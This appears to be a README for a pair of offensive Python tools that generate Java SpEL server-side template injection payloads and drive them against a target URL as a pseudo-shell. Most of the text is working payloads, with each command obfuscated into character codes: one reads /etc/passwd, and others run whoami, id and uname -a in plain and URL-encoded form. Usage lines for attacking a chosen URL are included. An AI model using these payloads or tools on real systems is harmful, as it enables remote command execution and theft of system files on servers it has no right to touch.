SSTI Payload Generator

This generator is for a specific type of Java SSTI, inspired by the following PayloadAllTheThings:

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

The string is converted into a decimal value and then concatenated together. This python script will automate that process within a interactive Cmd prompt.

Example 1:

> python3 ssti-payload.py
Command ==> whoami
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(119).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(105))).getInputStream())}

Command ==> id
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(105).concat(T(java.lang.Character).toString(100))).getInputStream())}

Command ==> uname -a
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(117).concat(T(java.lang.Character).toString(110)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(97))).getInputStream())}

Example 2 (url encoded):

> python3 ssti-payload.py -u
Command ==> whoami
%24%7BT%28org.apache.commons.io.IOUtils%29.toString%28T%28java.lang.Runtime%29.getRuntime%28%29.exec%28T%28java.lang.Character%29.toString%28119%29.concat%28T%28java.lang.Character%29.toString%28104%29%29.concat%28T%28java.lang.Character%29.toString%28111%29%29.concat%28T%28java.lang.Character%29.toString%2897%29%29.concat%28T%28java.lang.Character%29.toString%28109%29%29.concat%28T%28java.lang.Character%29.toString%28105%29%29%29.getInputStream%28%29%29%7D

Command ==> id
%24%7BT%28org.apache.commons.io.IOUtils%29.toString%28T%28java.lang.Runtime%29.getRuntime%28%29.exec%28T%28java.lang.Character%29.toString%28105%29.concat%28T%28java.lang.Character%29.toString%28100%29%29%29.getInputStream%28%29%29%7D

Command ==> uname -a
%24%7BT%28org.apache.commons.io.IOUtils%29.toString%28T%28java.lang.Runtime%29.getRuntime%28%29.exec%28T%28java.lang.Character%29.toString%28117%29.concat%28T%28java.lang.Character%29.toString%28110%29%29.concat%28T%28java.lang.Character%29.toString%2897%29%29.concat%28T%28java.lang.Character%29.toString%28109%29%29.concat%28T%28java.lang.Character%29.toString%28101%29%29.concat%28T%28java.lang.Character%29.toString%2832%29%29.concat%28T%28java.lang.Character%29.toString%2845%29%29.concat%28T%28java.lang.Character%29.toString%2897%29%29%29.getInputStream%28%29%29%7D

SSTI Skeleton

ssti-skel.py uses the Cmd library to create a looped command prompt. This directly takes input from the command line, encodes it appropriately, and sends it via requests to the target url (-t).

If successful, the script will be a pseudo-shell, allowing for commands to be sent in real time. If at anytime a request fails, the script will quit.

This is a very specific usecase. But if it works, it works.

Example command:

python3 ssti-skel.py -t 'https://example.com/path?param='

Depending on the response, the ssti=str(output).split(''')[1].rstrip() variable will probably have to be changed to suit the response. No clever logic was implemented for this :)